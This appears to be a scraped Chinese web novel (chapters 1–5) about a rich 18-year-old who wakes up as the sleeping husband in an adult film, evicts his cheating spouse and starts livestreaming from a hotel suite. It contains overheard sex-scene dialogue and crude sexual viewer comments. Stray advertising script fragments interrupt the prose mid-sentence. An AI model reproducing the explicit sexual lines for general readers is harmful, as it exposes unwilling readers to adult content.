《二代群穿日常》 1. 隐秘偷爱!在熟睡丈夫身边…… 天色渐晚,一艘十六层高的豪华游轮在海面上缓缓行驶。 灯火通明,船窗上倒映出来来往往的身影,觥筹交错,言笑晏晏,香衣云鬓,穿梭于名利场间,埋首于金银堆中,泼天富贵近在咫尺,又似水中镜月。 夕阳的余晖映在蔚蓝色海面上,房间内播放着舒缓音乐,昂贵的香薰蜡烛尽职尽责地散发着金钱的芬芳,浴缸里的温水已经提前放好。 秦觅珑眉头紧皱,捏了捏眉心,拨出去一个电话。 “人呢?怎么还没带过来?” 对面“哎哟”一声,骂骂咧咧几句,抱怨的话语源源不断倾倒出来,“我的秦大少爷啊!您是不是有毛病呐?一会儿嫌这个不够白,那个腿短,刚刚那个又是怎么回事?最近风头正盛的小明星,我都没舍得碰,特意留给你的。” 秦觅珑一脸嫌弃,语调淡淡,“看上去太木讷,没感觉。” 意思是他不喜欢那款。 对面噎了一下,崩溃道:“……不、不是,你脑子没坏吧?就破个处男身还在这儿挑三拣四的?我去哪儿给你找个肤白貌美腰细腿长还能让你一见钟情的大美人啊?!” 秦觅珑反问道:“我不能挑?” “……” 这话问得很有水平,秦觅珑是谁? 他爹是房地产巨鳄,外祖是制霸广告业的宁家,强强联合,父母只得了这么一个宝贝蛋,也不像其他富二代整天胡来惹是生非,每天安安分分低调无比,实在是身体激素分泌过于旺盛,想找个人泄泄火,这才有了今天这一出。 这可是十八岁的秦觅珑,钻石般的年纪,比黄金还难得的机会。 说到钻石,他名下还真有几个南非钻石矿。 假如他都不能挑,谁还能有这资格? 对面陷入沉默,片刻后,恨恨挂了电话,“行!一定找个大美人破了你的童子身!” 秦觅珑扔开电话,三下五除二脱掉衣服,常年运动的躯体并不像其他这个年纪的男孩一样单薄青涩,每一处肌肉线条都蕴藏着力量感,随着他举手抬足间扯出流畅的弧度,性张力拉满。 秦觅珑孤孤单单泡在能躺下两个成年人的浴缸里,蒸腾的水雾柔和了他的俊美眉目,有种模糊朦胧的美感。 他闭着眼,温水漫过身体,柔柔地安抚每个舒张开来的毛孔。 梦境如黑色的潮水般袭来,海浪一阵高过一阵,无情地将意识吞噬殆尽。 秦觅珑梦到很多事情,像是在脑海里放了个幻灯片,他作为旁观者,回看了这一切。 逐渐的,他开始意识到了不对劲的地方——听说人死之前有走马灯这一说,难道他泡在浴缸里猝死了? 他爹妈就他这么一个儿子,平时他说一句想要星星,能连着月亮太阳一块给。 得亏他三观正,要是他就这么英年早逝了,那二老再生一个,还指不定得被养歪成什么样呢。 秦觅珑想努力地睁开眼睛,奈何这眼皮就像被特级胶水粘住似的,费了半天劲也无济于事。 他在这头努力,有人似乎也在他身边努力。 “啊……啊嗯……不、不要……呃啊……” 秦觅珑:“?” 什么情况? 不可能吧…… 没道理他饥渴得都到这种地步了……临死前居然还在想这种事儿? 眼前的黑暗被骤然打破。 一块蓝莹莹的光幕浮现在眼前。 “尊敬的用户您好,近来阴曹地府鬼容量过载,因此特与文曲星合作,开辟各小世界投放游魂,供您体验第二次生命~” 秦觅珑面色平静地夸奖一句:“好智能的地府。” 光幕上出现一个表示友好的笑脸。 秦觅珑万分惆怅悲凉,为自己已经开始上手的庞大事业发愁,替生下继承人后就相敬如宾的父母发愁,对心血来潮想在今天发泄发泄的自己…… 算了,这个不提也罢。 “这是什么地方?” 秦觅珑犹犹豫豫地排除心里那个猜测——阴曹地府应该还没开放到用那种声音作为日常bgm? “叮~经查询所得,您现在位于小世界《隐秘偷爱!在熟睡丈夫身边#%&*》” 秦觅珑眨眨眼,闭上眼,重新睁开一次,眼前见到的还是那行字。 书名号里的每一个字都在冲击他的视网膜。 “乱码是什么意思?” “不文明的淫.秽用语将会被屏蔽吼^^” 就算没有这串乱码,秦觅珑也能看出来——这绝对不是什么正经小世界! 他暂且抛去脑子里那些上一辈子的纷纷扰扰,嗓子像是被什么堵住了似的,声音无比艰涩,“那……那我等会儿用什么姿势……” 十八年来,秦觅珑头一回知道什么叫做手足无措,虽说有句话叫做没吃过猪肉也见过猪跑,但他丰富的理论知识完全无法弥补实战经验的空白! 但不得不说,作为一名阅片无数的大猛1,他相信自己绝对能让所有观众老爷满意! 蓝荧荧的光幕上突然显示出一个笑脸,明明连笑弧都标准得和刚刚那个友好笑脸如出一辙,秦觅珑却硬生生地从中读出了几丝嘲讽味道。 “您目前的身份为该系列短片中的主要男配角——熟睡的丈夫。” 恍若一道惊天霹雳在脑海中噼啪炸开,秦觅珑呆若木鸡。 第一反应:他这种身价居然都只能当个配角?! '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >第二反应:好家伙,居然还是个系列短片…… 奇怪的嗯嗯啊啊声不绝于耳,放在原世界里是绝对不能外放的程度,此刻竟然就在他耳边上演。 “小*货,我厉害还是你老公厉害?嗯?快说!”男人兴奋地低吼。 “啊~那里不行……啊啊啊不可以……你、你厉害,呜呜呜呜我受不了~”另一道男声娇滴滴地掐着嗓子叫,虽然话语内容听起来像是被强迫的良家夫男,但是也只是听起来而已。 “爽不爽?嗯?说话!” 秦觅珑:“……” 好土的台词, 单身十八年,干干净净清清白白的秦觅珑。 在这一刻,觉得自己,脏了。 他气血上涌,没顾得上脑子里突然多出来的那些记忆,急急忙忙扑向已经逐渐透明的光幕,崩溃大喊:“我能不能换个世界?!” 光幕又浮起一个笑脸,“不可以哟~” 秦觅珑眼睁睁看着那道光幕消失。 他万分痛苦地皱起脸。 外界立刻传来谈话声。 “小*货,你叫这么大声,是不是巴不得被你老公听见?!” “没有!我没有!不,不能让我老公发现,求你了,不要这样对我~” 后面的话语隐没在一阵掺杂着水声的“唔唔”尾音中。 秦觅珑:“……” 说什么我没有我没有? 越叫越大声,这两个人丝毫没有收敛的意思,完全就是生怕他发现不了吧…… 眼皮像是千斤重,怎么也睁不开眼,大概这就是剧情给予的熟睡buff。 索性秦觅珑也担心自己睁眼就会看见什么倒胃口的场面,干脆趁此机会梳理了一下脑海中的记忆。 这个系列短片的主要角色就是他名义上的另一半——于声。 在分为上中下,三集短片中,于声不断往家中带人满足自己的欲望,每一集都有丈夫秦觅珑的影子,不是在熟睡当中,就是被下安眠药在熟睡的路上。 系列短片的主打卖点就是偷情的背德感,秦觅珑这个角色可谓核心中的核心,灵魂中的灵魂。 但是!原身根本没有和于声同过房,什么谁比谁厉害,更是无稽之谈。 于声这个道德败坏的出轨者,竟然老是用莫须有的事情来抹黑原身的x能力! 不知过了多久,短片系列上集终于告一段落,那两个人的声音逐渐远去,去往浴室方向。 再过了大约十分钟左右,传来关门的声音。 系列短片的上集终于到此结束。 秦觅珑屏住呼吸,倏然睁眼。 他绝不要放弃挣扎地成为H片主角play中的一环…… 2. 老公是他能叫的? 于声正手脚发软地躺在客厅沙发上,脸上还带着剧烈运动过后的酡红,他本就皮肤白皙,动情时更是别有一番滋味。 他还在回味刚才那种直击灵魂的快感,多年来他阅人无数,却还是第一次遇到这么大胆的男人,竟然要求在他老公身边…… 当年这部片子一经发售就风靡整个gay圈,一度成为圈内热门话题—— 娇软的小零!勇猛的一!随时都有可能被正牌老公抓个正着的刺激快.感! 秦觅珑也曾被朋友推荐过这部片子,因此于声这张脸对他而言倒是也算不上陌生。 他没有曹贼癖好,当初只看了个开头就没再看下去,却万万没有想到,自己会成为那个倒霉催的在短片里兢兢业业贡献一个背影的工具人。 秦大少爷怨念缠身,浑身都开始散发低气压。 “嗤——”秦觅珑将于声脸上那抹荡漾的表情收入眼帘,胃里都开始翻滚起来。 于声听见声音,扭头一看,正好对上秦觅珑的视线。 他脸色大变,又很快恢复如常,坐起身期期艾艾叫了一声:“老公,你醒了?” 秦觅珑顿时面色铁青,连方才打好的腹稿都忘了,从牙缝里挤出四个字:“马上离婚。” 笑话!这种称呼也是他能叫的? 于声愣了一下,没料到秦觅珑居然会这么突然地提起离婚两个字。 “你、你这是怎么了?”于声咬了一下嘴唇,方才还红润的脸色立刻唰白,黑润的眼眸里蒙上一层水光,“别和我开玩笑了老公……” 秦觅珑冷笑一声,“呵呵。” “我只是睡着了,又不是死了。”他顿了一下,大发慈悲道:“给你三分钟收拾东西滚出去。” 这套房子是“熟睡丈夫”名下的婚前财产,在秦觅珑到来之后,户主也变成了秦觅珑的名字。 但是!秦觅珑绝不会憋憋屈屈窝窝囊囊地陪着于声在这套房子里拍完整个系列短片! 给了于声三分钟时间,秦觅珑都觉得头上的绿帽瞬间发亮变成了天使光环,还扑哧扑哧往外吐舍利子。 于声用力咬住嘴唇,眼泪在眼眶里打转,慌张又无措,“我、都是那个人强迫我……” 泪珠像断了线似的落下来,他撑着手直起身体,垂下首露出白皙的脖颈,以一种我见犹怜的姿态缓缓抬起头,“你不给我,让我独守空床那么久……还不允许我去找其他人,你这么做难道对得起……” 话音未落,他便愣住了。 这人谁啊?? 他好像从未仔细打量过这位名义上的丈夫。 当年他们是相亲结婚,也不存在什么感情,秦觅珑在他心里的定位就是一个好拿捏的老实人。 这种人在圈里根本吃不开,也就只有他当年不谙世事,一察觉到自己的性向就慌张地和父母出柜,匆匆找了个靠谱的人结婚。 而且他一直都觉得秦觅珑和自己撞号了,这才肆无忌惮地约了一个又一个,自己也从一开始的青涩少年变成了现如今的熟男人夫。 他只要发个“今晚老公不在家”的帖子,就会有一堆人来私信他。 可以说,秦觅珑的存在,是他在圈内受猛1欢迎的一大要素。 不过…… 于声不可置信地瞪大眼睛。 这、这……这秦觅珑有这么帅吗? 于声百思不得其解,他老公以前有这么帅?? 他头发有点长了,恰好盖在眉眼之间,鼻梁的弧线顺下来,嘴唇看起来很红很润,即便是于声以自下往上的死亡角度看,也挑不出半分毛病。 特别是他的眼神…… 不屑、鄙夷……居高临下的姿态像是在看一只蝼蚁。 这种目中无人的姿态,这种高高在上的姿态,真想看见他失控又放纵的模样…… 于声咽了一下口水,痴痴地盯着秦觅珑。 以前对方是这样的吗?他到底是为什么会放过这个一看就很能干的男人去找外面找那些野草?? 不说长相,就光身材来说,以于声阅人无数的毒辣眼光来看,这秦觅珑绝对是那种穿衣显瘦、脱衣有肉的绝佳身材。 在现如今脸丑身材好就是top级猛1的gay圈内简直就是天菜级别啊! 不行!不能离婚!死也不能离! 放他出去,就是便宜了那些小妖精! 于声语气放得更软,带上些哀求的意味,眸光坚定,眼神里传递着百分百的真诚,“老公~我知道错了!以后我们两个就好好的过日子!” 他一边说,一边偷偷往下瞄。 还没等他找到目标,秦觅珑突然转过身去。 他回房间了。 于声又是一愣,随即大喜! 他老公果然心底善良,他发誓,以后绝对不辜负这么好的老公! 于声正打算找秦觅珑多增进增进感情,可无奈腿还是软得像面条似的,想到这里,他又有些舍不得和今天约的那个男人断联了。 没过几分钟,秦觅珑又出来了,手上拿着团成团的床单。 于声听见脚步声,立马把衣领扯开,露出肩膀,眨巴眨巴眼睛看过去。 秦觅珑向他伸出手。 “老公~”于声又软又骚拉长尾音,就要把自己的手搭上去。 下一秒,他突然觉得有点不对劲。 只是一瞬间,他的上半身就突然悬空了。 秦觅珑抓住他的衣领,单手把他从沙发上提起来,然后往门口的方向拖过去。 毫不留情的动作像是在拖拽一个麻袋。 “等、等等!等一下!你干嘛!” 于声腿还软着,根本使不上力气,只能像滩烂泥似的被秦觅珑拖到门口,然后——被一脚踹了出去。 然后,秦觅珑拎起那条床单,在角落边缘很嫌弃地擦了擦手,像扔垃圾一样把床单丢到他身上。 于声趴在地上,不可置信地看向秦觅珑。 “秦觅珑!你个……” 他没能骂完,冷漠又干脆的“砰——”一声打断了他的话语。 秦觅珑就这样毫不拖泥带水地在于声面前关上了门。 他的仁慈是有限度的,三分钟的时间过去,他就默认于声不需要收拾东西了。 无视门口传来的大力砸门声,秦觅珑打开手机,开始搜集信息。 半小时后,他把这套房子挂上平台出售。 秦觅珑看了一下卡里的余额,确认足够支撑自己在外面住几天后,毫不犹豫地找出证件往外走。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>一打开门,于声已经不在了。 秦觅珑松了口气,懒得再折腾,找了家离他最近的五星级酒店。 他又下了个打车软件,摸索了半天,叫了辆行政专车,显示他前面还有好几单。 “平台可为您更换成距离您所在地最近的快车,是否确认呼叫?” 看了下距离,离他只有五百米,秦觅珑犹犹豫豫点了确认。 这个小区很老,连个电梯都没有,房子在六楼,楼道里堆放着不少散发着异味的生活垃圾。 秦觅珑从小到大就没走过这么狭窄阴暗的楼梯。 好在小也有小的优点,不过几步路,他就走到了小区门口,司机正好到达。 车里老旧皮革的气息混杂着廉价香薰的气味,让秦觅珑有点想吐,他紧紧皱着眉,面色发白,一双大长腿委委屈屈地窝在车后座。 司机从后视镜打量了他好几眼,而后直视前方,感慨了一声,“我还是头一回拉去这家酒店的单子。” 秦觅珑撑着额头没力气说话。 这个司机显然很喜欢和乘客聊天,见他没搭话,又瞅了他几眼,目标明确地开启话题。 “小哥,你看看咱们旁边那辆车,能认识出来是啥车不?” 秦觅珑慢吞吞用余光看了一眼,“宾利添越。” 车灯上的钻石纹理熠熠生辉,充满力量感的车身线条很快汇入车流,转瞬即逝。 司机感慨道:“都是四个字的,车和车的差距怎么就这么大呢!” 司机开的是奇瑞□□。 秦觅珑闭了闭眼,不是很想和这位话密的司机师傅过多交谈。 等快到酒店门口的时候,秦觅珑才发现那辆宾利和自己的目的地相同。 门童恭恭敬敬地立在后车门旁,恭谨地说了几句话。 从他的角度看过去,只能看见被打开的后车窗伸出了一只白皙修长的手,正在和门童对话的就是那只手的主人。 那只手做了个手势,随后车窗缓缓合拢,径直往酒店停车场的方向驶去。 等计程车到酒店门口的时候,那辆车已经无影无踪。 门童过来为秦觅珑拉开车门,问清他没有预约后,把他引到前台。 “要一个房间。”秦觅珑想了想,又补充道:“最便宜的那种。” 前台的眼神在他那张帅脸上停留了三秒,而后露出无比真诚的笑容,“先生,我们店里现在有活动,只要您在住了么平台下单并给予五星好评,可以免费为您升级房型哦。” 秦觅珑迟疑了一下,“住了么?” 原身和他都没用过这种东西,原身就一个空白背景板人物,没那么多生活经历;他以前不论去哪座城市,都有自家或者亲朋好友投资的酒店可以住,连走付费流程都不用,吩咐一下助理就能直接处理所有事情。 怕是他们也想不到秦觅珑会有自己去酒店前台订房的一天。 “不用了。”他嫌麻烦。 “秦先生,请收好,这是您的房卡。” 秦觅珑谢过前台,去乘电梯。 电梯门正要合拢的时候,突然伸出一只手挡住了门。 那只手很漂亮,一看就是长年累月精心养护的。 在几分钟前,他还见过。 3. 如此极品,必定是个男模 电梯里走进来一个男人。 墨镜、金发,从头到脚都穿着小众设计师的高端定制款。 头发垂至肩膀,每一丝弧度都像是精心设计过的,脸上应该还涂了点东西,看起来肤质很细腻,纵然是偏向中性化的发型和穿着也不会让人错认他的性别。 他一走进来,电梯里的空气都变香了。 馥郁却不刺鼻,后调带一点烟火燃尽的气息,闻起来很昂贵。 恍惚间,秦觅珑以为自己还没死,他的灵魂被这缕飘乎的香气带回纸醉金迷的上辈子。 以前他不喜欢喷香水,现在的他……连价格都不想回忆。 他站在电梯里,很专注地盯着自己按亮的楼层键,没有分给对方半点眼神。 那个人似乎在戴着蓝牙耳机打电话,说了一串叽里呱啦的语言。 秦觅珑面无表情,毫无反应。 对方按了29层,应该订的是总统套房,到29层再换乘专属电梯到30层入住,而秦觅珑的房间在20层,他们很快就会分开。 就在这时候,那只漂亮的手突然动了。 白皙修长的手指把20层以下的按键全都摁了一遍。 秦觅珑立刻扭头看过去。 那个人似乎察觉到他的目光,唇角勾起一个弧度,食指一弯拉下墨镜,露出一双会放电的眼睛,眨眨右眼朝他wink了一下。 秦觅珑:“……” 此时电梯才刚刚运行到8楼。 秦觅珑连摁两下9楼的按键,发现这个电梯并没有撤回功能。 他暗叹了一口气,只能作罢,无语地开口:“Sir, kann ich Ihnen bei irgendetwas helfen?” (先生,我能帮你做些什么吗?) 话音落下,香水男明显愣住了。 因为——刚刚他打电话的时候用的就是德语。 不知过了多久,电梯升到15楼,香水男才磕磕巴巴地问了一句:“……你、你会说德语?” 秦觅珑面色不变,反问回去:“……你不是也会说中文?” 对方诡异地沉默下去。 片刻后,他飙了一句德语,估计是在和耳机里的人对话。 说的是“等会儿再聊。” 金发香水轻咳一声,支支吾吾半天,问了一句:“你也住这家酒店?” 秦觅珑不说话。 此时此刻,关寻臻开始庆幸自己脸上有副墨镜——至少能挡一挡他现在这个恨不得找个地缝钻进去的脸色。 电梯到了18楼。 关寻臻咬咬牙,在心里给自己打气,终于问出盘桓在心口许久的问题:“你叫什么名字?” 电梯尽职尽责地一次又一次敞开门,却因为还是白天的时间段没有迎来新用户。 叮—— 19楼。 秦觅珑说:“Melon” 真真切切是他的名字,他妈给取的英文名,让他被从小笑到大。 甜瓜? 这样不太正式的自我介绍,像是在尴尬的约会里对方开了一个无伤大雅的小玩笑,虽然不是很好笑,但足够活跃氛围。 有心人知情识趣,能够体会到优雅绅士与生俱来的教养与体贴。 关寻臻努力抿住上翘的嘴角,“你确实很甜。” 一说出口,他又后悔了,甚至开始在心底抓狂——听起来……是不是有点轻浮? 但眼下没有那么多时间供他考虑。 叮—— 20楼到了。 关寻臻连忙道:“我们可以认识一下吗?” 秦觅珑迈出电梯,回头看他一眼,日光从背光的窗户那边打进来,将他从头到脚都修饰得干干净净。 衣物附着不到的地方,清爽俊美的脸蛋和富有力量感的肩颈线条,没有一处不长在关寻臻的心上。 真想扒开看个究竟…… 秦觅珑对他挥了挥手,什么也没说,插着兜往前走了。 关寻臻猛戳开门键,望眼欲穿地看清了那个背影走进的房间。 耳机里还传来友人的问话。 “嘿,处理好了吗?究竟发生什么事了?你刚才说在电梯里遇到了一个一百分先生,我还没听见后续呢!” 关寻臻叹了一口气,实话实说道:“你以前对我的评价没错,我这个人确实太过于自大了。” 友人震惊:“发生了什么?!是什么让你意识到这一点?” “他……我是说…一百分先生,他听得懂德语。” “ohhhh上帝!!*&%?!你是说!他都听见了!听见你猜测他如此极品必定是个男模!听见你断言他一次至少能在40分钟以上!听见你夸赞他臀翘腿长看起来核心力量很不错绝对是电动小马达!你、你你你真是太冒犯了……我的天呐……!” 关寻臻的脸红了又青,青了又白,最后终于忍不住对那头的人喊道:“够了!闭嘴!” 他真的后悔了,不敢想象自己给对方留下的初印象有多么糟糕…… 实事求是地说,在秦大少爷前十八年的人生中,从来没有听过这种过火的评价——至少没有人敢在他面前那么大胆又直白地说出那种话。 他躺在床上闭眼小憩了几分钟,然后吐出一口气,打 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 开了招聘软件。 房地产行业不景气,不裁员就不错了,放出来的招聘需求更是少的可怜,大多数都是每天kpi几百个电话的房产销售。 秦觅珑对自己有自知之明,不仅没有三寸不烂之舌,还没有提供情绪价值的能力。 他又看了一下广告行业,要求作品集和专业对口,他没有。 翻译工作薪资倒是还算可观,但hr要求有相关证书,他也没有。 他打算先写份简历,可原身经历乏善可陈,别说hr,就连他看了都糟心,把自己的行业经验写上去也没法通过背调。 他发呆了几分钟,然后打开了一个短视频平台,决定让自己放松一下。 不知道这个平台是什么推流机制,刷视频途中偶尔还会跳出几个直播间。 “求求直播间的宝子们!主播真的不想做惩罚!” 画面里两个男主播正在直播打pk,纷纷在直播间拉票。 头顶的进度条你追我赶,此消彼长。 一局pk打完,男主播和直播间里众人聊了一会儿天,又开了一局连线pk。 同样的话术,“求求各位,主播这次真的不能做惩罚!” 计算了一下两场直播收入的秦觅珑:“……” 他默默卸载刚下好的招聘软件,开始搜索“新手第一次直播需要注意什么”。 广告业离不开营销,粉丝经济铸就了众多辉煌的营销案例。 本质和全国每人都捐一块钱的原理相同。 最重要的是,来钱快且多,还合法。 秦觅珑能找到的有效信息很少,不是数据造假卖课割韭菜就是人家天赋异禀有榜一大款支持。 他必须得给自己找一个吸睛的卖点…… “嘟嘟嘟——” 房间里响起电话铃声。 秦觅珑接起来,“你好,我没有叫客房服务。” 前台:“秦先生您好,由于我们酒店的疏忽,您所在的房间空调需要维修,现在为您升级成总统套房,您看可以吗?” 秦觅珑看了一眼早在他刷完门卡时就自动开始工作的中央空调,没看出有任何需要维修的地方。 他懒得换地方,拒绝的话语已经到了嘴边,却在下一秒想到了什么,欣然应允:“可以。” 挂了电话,秦觅珑立刻注册直播账号,并且发布了一场定时直播。 电梯遇到的那个香水男说的话给了他灵感,前台临时打来的电话给了他机会, “今晚八点,极品男模带你沉浸式体验五星酒店总统套。” 秦觅珑不确定地想:这个标题,应该还算有吸引力吧? 4. 好一个傻白甜小处1 门铃响起。 门外站着酒店安排的管家。 “秦先生您好,我是您今天的责任管家David,接下来由我为您服务。” David被客户得天独厚的相貌晃了一下眼,突然觉得对方身后的普通套房都显得高不可攀了起来。 身为五星级酒店专门配备给行政套房及以上级别的高端管家,David很少见到这样的人。 明明是从普通房间升房,光顾总统套房的架势居然比他这么一个专业人士显得更加娴熟——但住习惯总统套的人又怎么会屈居一个普通房间? David迟疑了一会儿,还是问了一句:“先生,需要我为您介绍一下房内布置吗?” 秦觅珑脱掉外套挂好,“不用,晚上八点十分左右给我送一份晚餐,除了洋葱之外没有其他忌口。” “好的。” 秦觅珑站在落地窗前,太阳才刚开始落山,傍晚的余晖几乎笼罩了整个城市,林立的高楼、纵横交错的立体公路,以黑白为主的车流来来往往。 同样的景色他看过很多次。 现在他觉得这应该是个不错的直播机位。 门铃再次响起。 秦觅珑以为是David折返回来,但当他见到门外来人的第一眼时,方才就一直盘桓在心里的那个猜测终于得到了证实。 这家酒店顶楼总共只有两间总统套房,秦觅珑一点也不相信现在这个时间点会没有其他的房间。 唯一的可能性现在就站在自己面前。 香水男好像换了一套装束,秦觅珑没细看。 “你有事吗?” 为了保障住客隐私,每间总统套都有一部独立的直达电梯,不同房间的人绝不可能顺路。 关寻臻暗自挺胸收腹,细微地调节了一下自己的站姿,摆出一个最完美的微笑,“现在是晚餐时间,赏脸一起用个饭?” 秦觅珑了然——总统套的代价终于降临了。 但在明面上,这是酒店为了弥补他给出的赔偿,他秦大少爷一顿饭难道就只值一晚总统套房? 关寻臻看不出他是否意动,连忙又补了一句,“这家酒店有几个隐藏菜单,很好吃!” 秦觅珑礼貌地对他笑了一下,“抱歉,不喜欢和陌生人一起吃饭。” 门关上了,他的笑容一点点被逐渐变窄的门缝遮住。 关寻臻呆呆地站在原地,不知道想到了什么,耳根腾地烧红。 * 现在是晚上六点三十分左右。 秦觅珑踏进浴室洗了个澡。 酒柜里摆满各式口味的昂贵酒水,浴缸旁的嵌入式置物架贴心配备了香氛和奢牌精油供住户挑选。 秦觅珑以前很喜欢放点轻松舒缓的音乐,一边泡澡一边喝东西,不论是红酒、果汁还是牛奶。 当然,那是以前。 现在的他,再也不会给浴缸半个眼神! 冲掉身上最后一团泡沫,秦觅珑穿上浴袍,顶着一头湿发开启直播。 让秦觅珑失望的是,这个标题似乎也不是很吸引人,后台显示预约直播的观众连五个人都不到。 不过好在平台很慷慨地给新人主播分配了20个人头的流量。 至少他不用自说自话了。 【主播这标题怎么想的?背后必有高人指点。】 【好新的小主播,连粉丝都没有,我要成为你的第一个粉丝!】 【五星级酒店一晚总统套至少得四位数吧?小新人一场直播连成本都赚不回来。】 【我觉得主播还蛮有商业头脑的……】 【主播人呢?】 秦觅珑津津有味看了半天弹幕,直至看见这条才忽然反应过来,“我不小心开成后置了,不好意思!” 【有没有一种可能……这个主播就没打算露脸。】 【主播,你的声音好好听,是很纯正的公子音诶!有点像一个人(害羞)】 “我调好了。”秦觅珑看了一下弹幕,心里一咯噔,虽然说原身在这个世界是个设定空白的背景板人物,但他不会这么不凑巧地就遇到那几个为数不多的熟人了吧? 他面色不变,镇定地笑了一下,“我的声音像谁?” 【……】 【像我素未谋面的老公!】 【……救命啊!我以我二十五年的贞操发誓,这家伙绝对没开滤镜没开美颜!】 【wtf?!这也叫五星级酒店?浴袍领子做那么高,算什么五星级啊?!】 【五星级酒店是真的,极品也是真的!我有几个小钱,主播求求你告诉我你是哪种男模?】 【我都说了主播不敢露脸……因为他露脸会让我精神受到重创,主播我会爱你一辈子我死也不会瞑目求求你了让我得到你吧……】 【本来以为是高端局,没想到居然是民政局(泪流满面)】 【不行,我怎么有种不好意思的白嫖的感觉?】 【主播我给你刷点礼物,我不白看。】 漫天的礼物特效洋洋洒洒飘下来,直播间人气值几乎是咻得一下蹿上去,平台推流机制立刻将这个直播间推到更多人的首页。 特效多得看不清弹幕。 一滴水珠从发尖上落下来,顺着深邃的眉骨往下流,秦觅珑扒拉了一下脑袋,关掉自己这边的特效显示,开始认认真真营业,“欢迎大家来我的直播间,各位理性消费。” 他读了几条弹幕就读不下去了,轻咳一声道:“标题是开玩笑的,不要做违法乱纪的事。” “这间总统套空间还算比较大,我现在所在的地方是个会客厅。” 【可以邀请我来做客吗?做完客我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们再做点其他事。】 【没人懂吗?那颗水珠好涩哦~】 【主播除了唇形以外其他长得都很完美,这样吧,你把嘴贴到我嘴上我仔细品一品。】 门铃响起,秦觅珑逃似的离开镜头,丢下一句:“应该是管家过来上餐,等一下我带大家参观一下用餐区域。” 之前他安排David在这个时候上餐就是为了留给自己一点调整的空间,哪里想到第一次直播居然会出现这种状况。 和他白天刷到的那些都不太一样,难道是因为夜晚这个时间段会让观众放松自我控制,口出狂言? David摆好餐品,很训练有素地退出去,秉承着良好的职业素养,没有多问一眼,多问一个字。 就是不知道他心里是怎么想的了。 秦觅珑把手机镜头摆好。 【移动镜头的时候,像是帅哥抱着我走过来……】 【老公,怎么换场景了?没事,虽然我更喜欢沙发,但是餐桌也不赖。】 【主播,你拆餐具的手法好娴熟,解衣服应该也是吧?】 秦觅珑看几眼弹幕吃几口饭,尽量挑了些正常的弹幕回答。 “我多大?快十九岁了。嗯?不是问这个?那你是问什么?” “学历?真的吗?其他主播都会查学历?那我有自知之明,我自己学历也不算高,不查你们的。” 刚满十八岁,才将将收到通知书offer的秦觅珑如是说。 弹幕上全是一水的【哈哈哈哈哈!】 直播间观看人数几乎呈直线上升。 【主播吃饭的样子好优雅,时不时抬眼看镜头,真的好像和我恋爱报备……】 【你说快19就快19了吗?除非你***让我看看。】 【老公你真的好嫩,还笨笨的、什么也听不懂,我看着你这张脸就要**了。】 秦觅珑赶紧道:“很多弹幕被和谐了,大家不要说脏话了。” 【嘎嘎嘎笑死,还以为人家在说脏话,这什么傻白甜小处1~】 弹幕滚得实在太快了,秦觅珑根本看不见那些长句子,迅速浏览到的只有弹幕上那些不停滚动的【哈哈哈哈】,于是他非常心安理得地吃起了饭。 “我吃完了,接下来带你们去其他地方转转。这是健身房,器材比较少,但是只是锻炼身体肯定够用。” 【主播喜欢运动吗?我家有很多适合运动的器材~我们可以一起做运动。。】 “我比较喜欢滑雪,还有一些水上运动。” 【主播喜欢玩水啊?我水很多。】 “你是说家里的泳池吗?我说的是在室外的水上运动,比如帆船和……” 「经核实举报,当前直播间已被封禁处理」 秦觅珑:“……” 发生什么事了? 5. 于声这小绿箭 出师未捷身先死,长使英雄泪满襟。 秦觅珑万万没想到,精心准备的第一场直播,就这么血淋淋地惨败了。 而且,他甚至连直播间为什么会被封禁的原因都不清楚! 这意味着,他后面的一系列计划成功施行的可能极小。 秦觅珑郁闷地看着窗外的月亮叹了口气,然后倒在床上,缓慢又坚定地沉入梦乡。 不论如何,身体是生存的本钱。 现在是睡觉时间。 一觉起来,秦觅珑神清气爽。 这家店的早餐种类很丰富,各类中西式早点应有尽有。 秦觅珑刚坐下,对面也坐下一个人。 哦,是昨天那个香水男。 “我叫关寻臻。” 关寻臻轻轻拍了一下掌,几个厨师排着队把餐点放到他们的桌子上。 “昨天见过好几次,我们还互相知晓了对方的姓名,能给我一个机会请你吃饭吗,这儿的隐藏菜单真的很不错。Melon?” 关寻臻做出来的一系列动作行云流水,像是与生俱来的高贵。 秦觅珑被他装到了。 不论是昨天的升房还是现在的请客,这家伙自始至终似乎都没想过要掩饰他和这家酒店的关系。 秦觅珑不好再拒绝,对他道了声谢谢。 关寻臻的行为直白得让秦觅珑无法忽视。 假如从长相和身材的角度出发,秦觅珑挑不出关寻臻的缺点。 对方应该有点混血,不同于秦觅珑典型的中式帅哥长相,关寻臻的睫毛很浓,眉弓和眼窝的衔接很立体,上下排睫毛浓密得像是自带眼线。 但在电梯里听过那番话,又结合他的行为来看,秦觅珑便有些先入为主地认定对方是个玩咖。 虽然现在已经没有挑人的资本了,可矫情的秦大少爷还是更喜欢身心干净的性|伴侣。 关寻臻突然问了一个出人意料的问题。 “你昨晚在直播?” 轰—— 从表面上看,秦觅珑还在优雅地进食,实际上,他的脑子已经一片空白。 换位思考一下,假如他给一个人升了总统套,那人拒绝了他的晚餐邀请(吊着他),还迫不及待地开了直播炫耀自己住总统套(没见过世面),这怎么看都觉得…… 秦觅珑无法继续深想下去了,他不想把自己骂得太难听。 他面无表情地往嘴里塞了一口蜜瓜布丁。 排除套房里有摄像头的可能,排除David偷偷上报的可能,排除关寻臻偷偷隐身溜进他房间的可能,似乎就只剩下…… “我平时不怎么刷短视频。”关寻臻似乎看出他的想法,补了一句,“大概你是天选直播圣体。” “现在我只要一打开那个软件,就全是你昨晚直播的回放录屏。” “你的长相,还有……评论区,都成了热议话题。” 秦觅珑抑制住拿起手机的冲动,“关先生,我建议你下次等我吃完饭再聊其他事情。” 他现在被说得食欲大减。 关寻臻愣了一下,有点无措,他踌躇着组织语言,“对不起。我是说,那个平台背后的公司,我家里有点股份……” “假如你需要的话,我可以帮你把热度压下去……” 